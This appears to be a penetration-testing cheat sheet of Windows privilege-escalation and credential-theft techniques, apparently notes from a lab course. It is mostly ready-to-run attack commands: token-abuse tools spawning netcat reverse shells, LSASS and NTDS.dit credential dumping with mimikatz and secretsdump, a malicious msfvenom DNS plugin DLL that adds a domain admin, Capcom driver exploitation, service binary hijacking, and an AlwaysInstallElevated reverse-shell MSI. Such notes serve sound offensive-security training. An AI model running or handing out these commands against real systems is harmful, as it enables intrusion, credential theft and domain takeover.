Privilege Escalation Techniques

SeImpersonate and SeAssignPrimaryToken

  • JuicyPotato can be used to exploit the SeImpersonateor SeAssignPrimaryToken privileges via DCOM/NTLM reflection abuse.

    c:\\tools\\JuicyPotato.exe -l 53375 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\tools\\nc.exe ip 8443 -e cmd.exe" -t *
  • JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer and RoguePotato can be used to leverage the same privileges and gain NT AUTHORITY\\SYSTEMlevel access.

    # start a listener on kali and run this command on windows target host
    PrintSpoofer.exe -c "c:\\tools\\nc.exe ip 8443 -e cmd"

SeDebugPrivilege

  • We can use ProcDump from the SysInternals suite to leverage this privilege and dump process memory. A good candidate is the Local Security Authority Subsystem Service (LSASS) process, which stores user credentials after a user logs on to a system.

    procdump.exe -accepteula -ma lsass.exe lsass.dmp
  • we can load this in Mimikatzusing the sekurlsa::minidumpcommand. After issuing the sekurlsa::logonPasswordscommands, we gain the NTLM hash of the local administrator account logged on locally. We can use this to perform a pass-the-hash attack to move laterally if the same local administrator password is used on one or multiple additional systems

    # Starting mimikatz 
    mimikatz.exe
    
    # extracting hashes from lsass.dmp file
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonpasswords

    Remote Code Execution as SYSTEM

    • transfer this PoC script over to the target system. Next we just load the script and run it with the following syntax[MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,""). Note that we must add a third blank argument "" at the end for the PoC to work properly.

    # First, open an elevated PowerShell console (right-click, run as admin, and type in the credentials for the user). 
    # Next, type tasklist to get a listing of running processes and accompanying PIDs.
    tasklist
    
    # running poc to get system shell, or reverse shell as system
    .\\psgetsys.ps1 [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")

SeTakeOwnershipPrivilege

  • Enabling SeTakeOwnershipPrivilege - We can enable it using this script which is detailed in this blog post, as well as this one which builds on the initial concept.

# Enabling SeTakeOwnershipPrivilege
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
whoami /priv

# Choosing a Target File
Get-ChildItem -Path 'C:\FILE-PATH' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}

# Checking File Ownership
cmd /c dir /q 'C:\FILE-PATH'

# Taking Ownership of the File
# Now we can use the takeown Windows binary to change ownership of the file.
takeown /f 'C:\FILE-PATH'

# Confirming Ownership Changed
Get-ChildItem -Path 'C:\FILE-PATH' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}

# Modifying the File ACL
icacls 'C:\FILE-PATH' /grant eren:F
  • Some local files of interest may include:

    c:\inetpub\wwwwroot\web.config
    %WINDIR%\repair\sam
    %WINDIR%\repair\system
    %WINDIR%\repair\software, %WINDIR%\repair\security
    %WINDIR%\system32\config\SecEvent.Evt
    %WINDIR%\system32\config\default.sav
    %WINDIR%\system32\config\security.sav
    %WINDIR%\system32\config\software.sav
    %WINDIR%\system32\config\system.sav

Backup Operators Group / SeBackupPrivilege

  • Membership of this group grants its members the SeBackupand SeRestoreprivileges. The SeBackupPrivilege allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if there is no access control entry (ACE) for us in the folder's access control list (ACL). We can't do this using the standard copy command. Instead, we need to programmatically copy the data, making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.

  • We can use this PoC to exploit the SeBackupPrivilege, and copy this file. First, let's import the libraries in a PowerShell session.

  • Enabling SeBackupPrivilege - Set-SeBackupPrivilege

# Importing Liberaries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

# Copying a Protected File
Copy-FileSeBackupPrivilege 'C:\Confidential\Contract.txt' .\Contract.txt

Attacking a Domain Controller - Copying NTDS.dit

  • As the NTDS.dit file is locked by default, we can use the Windows diskshadow utility to create a shadow copy of the Cdrive and expose it as E drive. The NTDS.dit in this shadow copy won't be in use by the system.

    diskshadow.exe
    
    # Copying NTDS.dit Locally
    Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
    
    # Extracting Credentials from NTDS.dit using dsinternals or secretsdump.py
    # obtain the NTLM hash for just the administrator account for the domain using DSInternals
    Import-Module .\DSInternals.psd1
    $key = Get-BootKey -SystemHivePath .\SYSTEM
    Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=domain,DC=local' -DBPath .\ntds.dit -BootKey $key
    
    # Extracting Hashes Using SecretsDump
    secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Event Log Readers Group

  • Administrators or members of the Event Log Readers group have permission to access local system log.

  • Confirming Group Membership - net localgroup "Event Log Readers"

  • We can query Windows events from the command line using the wevtutil utility and the Get-WinEvent PowerShell cmdlet.

# Searching Security Logs Using wevtutil
wevtutil qe Security /rd:true /f:text | Select-String "/user"

# Passing Credentials to wevtutil
wevtutil qe Security /rd:true /f:text /r:share01 /u:user.name /p:Welcome1 | findstr "/user"

DnsAdmins Group

  • DNS management is performed over RPC

  • ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line

  • When a member of the DnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\ServerLevelPluginDll registry key is populated

  • When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)

  • An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.

Leveraging DnsAdmins Access

# Generating Malicious DLL
msfvenom -p windows/x64/exec cmd='net group "domain admins" user /add /domain' -f dll -o adduser.dll

# Starting Local HTTP Server
python3 -m http.server 

# Downloading File to Target
PS C:\>  wget "http:/ip/adduser.dll" -outfile "adduser.dll"

# Loading Custom DLL
C:\> dnscmd.exe /config /serverlevelplugindll C:\\Users\\netadm\\Desktop\\adduser.dll
  • With the registry setting containing the path of our malicious plugin configured, and our payload created, the DLL will be loaded the next time the DNS service is started. Membership in the DnsAdmins group doesn't give the ability to restart the DNS service, but this is conceivably something that sysadmins might permit DNS admins to do.

# Finding User's SID
wmic useraccount where name="user" get sid

# Checking Permissions on DNS Service
sc.exe sdshow DNS

# Stopping the DNS Service
sc stop dns

# Starting the DNS Service
sc start dns

# Confirming Group Membership
net group "Domain Admins" /dom

Cleaning Up

# The first step is confirming that the ServerLevelPluginDll registry key exists. Until our custom DLL is removed, we will not be able to start the DNS service again correctly.
reg query \\10.10.10.10\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

# Deleting Registry Key
reg delete \\10.10.10.10\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

# Starting the DNS Service Again
sc.exe start dns

# Checking DNS Service Status
sc query dns

Using Mimilib.dll

  • we could also utilize mimilib.dll from the creator of the Mimikatztool to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner or another command of our choosing.

  • We can use this tool to load the driver. The PoC enables the privilege as well as loads the driver for us.

  • Download it locally and edit it, pasting over the includes below.

    #include <windows.h>
    #include <assert.h>
    #include <winternl.h>
    #include <sddl.h>
    #include <stdio.h>
    #include "tchar.h"
    
    # Compile it using cl.exe from a Visual Studio 2019 Developer Command Prompt
    C:\Users\eren\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
    
    # Next, download the Capcom.sys driver from <https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys>, and save it to C:\\temp.
    # Issue the commands below to add a reference to this driver under our HKEY_CURRENT_USER tree.
    reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
    reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
    
    # Verify Driver is not Loaded
    .\DriverView.exe /stext drivers.txt
    cat drivers.txt | Select-String -pattern Capcom
    
    # Verify Privilege is Enabled, Run the EnableSeLoadDriverPrivilege.exe binary.
    EnableSeLoadDriverPrivilege.exe
    
    # Verify Capcom Driver is Listed
    .\DriverView.exe /stext drivers.txt
    cat drivers.txt | Select-String -pattern Capcom
    
    # Use ExploitCapcom Tool to Escalate Privileges
    # To exploit the Capcom.sys, we can use the ExploitCapcom tool after compiling with it Visual Studio.
    .\ExploitCapcom.exe

    Alternate Exploitation - No GUI

    • If we do not have GUI access to the target, we will have to modify the ExploitCapcom.cpp code before compiling. Here we can edit line 292 and replace C:\Windows\system32\cmd.exe" with, say, a reverse shell binary created with msfvenom, for example: c:\ProgramData\revshell.exe.

    • We would set up a listener based on the msfvenom payload we generated and hopefully receive a reverse shell connection back when executing ExploitCapcom.exe. If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload.

    Automating with EopLoadDriver

    • We can use a tool such as EoPLoadDriver to automate the process of enabling the privilege, creating the registry key, and executing NTLoadDriverto load the driver. To do this, we would run the following:

      EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

    Clean-up

    # Removing Registry key
    reg delete HKCU\System\CurrentControlSet\Capcom

Server Operators Group

# Querying the Service, checks if it starts with system privileges
sc qc service

# Checking Service Permissions with PsService
c:\Tools\PsService.exe security service

# Checking Local Admin Group Membership
net localgroup Administrators

# Modifying the Service Binary Path
sc config service binPath= "cmd /c net localgroup Administrators server_adm /add"

# Starting the service
sc start service

# Confirming Local Admin Group Membership
net localgroup Administrators

# Confirming Local Admin Access on Domain Controller
crackmapexec smb ip -u server_adm -p 'pass'

# Retrieving NTLM Password Hashes from the Domain Controller
secretsdump.py server_adm@ip -just-dc-user administrator

Weak Permissions

Permissive File System ACLs

# We can use SharpUp from the GhostPack suite of tools to check for service binaries suffering from weak ACLs.
.\SharpUp.exe audit

# Checking Permissions with icacls on the binaries we got in above step
# Look if EVERYONE and BUILTIN\\Users groups have been granted full permissions to the directory, and therefore any unprivileged system user can manipulate the directory and its contents.
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" <--binariy path 

# Replacing Service Binary, if we have start/stop privileges so that we can start a execute our reverse shell 
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
sc start SecurityService

# Other choice would be create a admin user, if we cannot start service

Weak Service Permissions

# check the SharpUp output for any modifiable services.
SharpUp.exe audit

# Checking Permissions with AccessChk
 -q (omit banner)
 -u (suppress errors)
 -v (verbose)
 -c (specify name of a Windows service)
 -w (show only objects that have write access).
# If we have SERVIVCE_ALL_ACCESS, means we have full read/write control

accesschk.exe /accepteula -quvcw Service

# Changing the Service Binary Path
sc config WindscribeService binpath="cmd /c net localgroup administrators <user we currently loggedin with> /add"

# Stopping the Service
sc stop Service

# Starting the Serivce
sc start Service

# Confirming Local Admin Group Addition
net localgroup administrators

Cleanup

# Reverting the Binary Path
sc config Service binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"

# Starting the Service Again
sc query Service

Unquoted Service Path

# We can identify unquoted service binary paths using the command below.
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\" | findstr /i /v ""


# Query the "dash" service and note if it runs with SYSTEM privileges (SERVICE_START_NAME) and that the BINARY_PATH_NAME is unquoted and contains spaces.
sc qc service_name

# Using accesschk.exe, note if the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

# Copy the reverse.exe executable to this directory and rename it according to the requirements.
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

# Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
net start service_name

Kernel Exploits

Checking Permissions on the SAM File

icacls c:\Windows\System32\config\SAM

# get system information & copy output of sytsteminfo into systeminfo.txt file
systeminfo

# windows-Exploit-Suggester 
# https://github.com/AonCyberLabs/Windows-Exploit-Suggester
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt

Performing Attack and Parsing Password Hashes

This PoC by @cube0x0 can be used to perform the entire attack, including dumping the NTLM hashes from the SAM database, directly in the console.

Vulnerable Services

# Enumerating Installed Programs
wmic product get name

# Enumerating Local Ports
netstat -ano | findstr 6064 <-- port 

# Enumerating Process ID
get-process -Id 3324 <-- PID of service

# Enumerating Running Service
get-service | ? {$_.DisplayName -like 'service name'}

Credential Theft

# Searching for Files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

# Chrome Dictionary Files
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password

# PowerShell History File
# PowerShell stores command history to the file:
C:\Users\username\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Confirming PowerShell History Save Path
gc (Get-PSReadLineOption).HistorySavePath

# Reading PowerShell History File
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

Manually Searching the File System for Credentials

# Search File Contents for String
cd c:\Users\user\Documents & findstr /SI /M "password" *.xml *.ini *.txt

findstr /si password *.xml *.ini *.txt *.config

findstr /spin "password" *.*

# Search File Contents with PowerShell
select-string -Path C:\Users\user\Documents\*.txt -Pattern password

# Search for File Extensions
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

where /R C:\ *.config

# Search for File Extensions Using PowerShell
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore

# Sticky Notes Passwords
# Notes data is stored at 
C:\\Users\\<user>\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite

# Viewing Sticky Notes Data Using PowerShell
# Module to import <https://github.com/RamblingCookieMonster/PSSQLite> 

PS C:\> Set-ExecutionPolicy Bypass -Scope Process
PS C:\> cd .\\PSSQLite\\
PS C:\> Import-Module .\\PSSQLite.psd1
PS C:\> $db = 'C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite'
PS C:\> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
 
# Other choice is to copy the files to attack host and search for interesting strings 
strings plum.sqlite-wal

# Some other files we may find credentials in include the following:
%SYSTEMDRIVE%\\pagefile.sys
%WINDIR%\\debug\\NetSetup.log
%WINDIR%\\repair\\sam
%WINDIR%\\repair\\system
%WINDIR%\\repair\\software, %WINDIR%\\repair\\security
%WINDIR%\\iis6.log
%WINDIR%\\system32\\config\\AppEvent.Evt
%WINDIR%\\system32\\config\\SecEvent.Evt
%WINDIR%\\system32\\config\\default.sav
%WINDIR%\\system32\\config\\security.sav
%WINDIR%\\system32\\config\\software.sav
%WINDIR%\\system32\\config\\system.sav
%WINDIR%\\system32\\CCM\\logs\\*.log
%USERPROFILE%\\ntuser.dat
%USERPROFILE%\\LocalS~1\\Tempor~1\\Content.IE5\\index.dat
%WINDIR%\\System32\\drivers\\etc\\hosts
C:\\ProgramData\\Configs\\*
C:\\Program Files\\Windows PowerShell\\*

Saved Credentials

# Listing Saved Credentials
cmdkey /list

# Run Commands as Another User
runas /savecred /user:hostname\eren "COMMAND HERE"

# Browser Credentials
# Retrieving Saved Credentials from Chrome using sharpchrome 
<https://github.com/GhostPack/SharpDPAPI>

.\SharpChrome.exe logins /unprotect

Lazagne

https://github.com/AlessandroZ/LaZagne

# Running All LaZagne Modules
.\lazagne.exe all

Wifi Passwords

# Viewing Saved Wireless Networks
netsh wlan show profile

# Retrieving Saved Wireless Passwords
netsh wlan show profile nameofwifi key=clear

Pillaging

Installed Applications

# Get Installed Programs via PowerShell & Registry Keys
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize

AlwaysInstallElevated

# Query the registry for AlwaysInstallElevated keys
# Check if both keys are set to 1 (0x1)
reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated
reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated

# on kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

# Transfer the reverse.msi file using smbserver or python 

# Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:
msiexec /quiet /qn /i C:\\PrivEsc\\reverse.msi

msiexec /i c:\users\aie.msi /quiet /qn /norestart

Scheduled Tasks

# Enumerating Scheduled Tasks
schtasks /query /fo LIST /v

# Enumerating Scheduled Tasks with PowerShell
Get-ScheduledTask | select TaskName,State

User/Computer Description Field

# Checking Local User Description Field
Get-LocalUser

# Enumerating Computer Description Field with Get-WmiObject Cmdlet
Get-WmiObject -Class Win32_OperatingSystem | select Description

Mount VHDX/VMDK

# Mount VMDK on Linux
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk

# Mount VHD/VHDX on Linux
guestmount --add WEBSRV10.vhdx  --ro /mnt/vhdx/ -m /dev/sda1

# Retrieving Hashes using Secretsdump.py
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

Last updated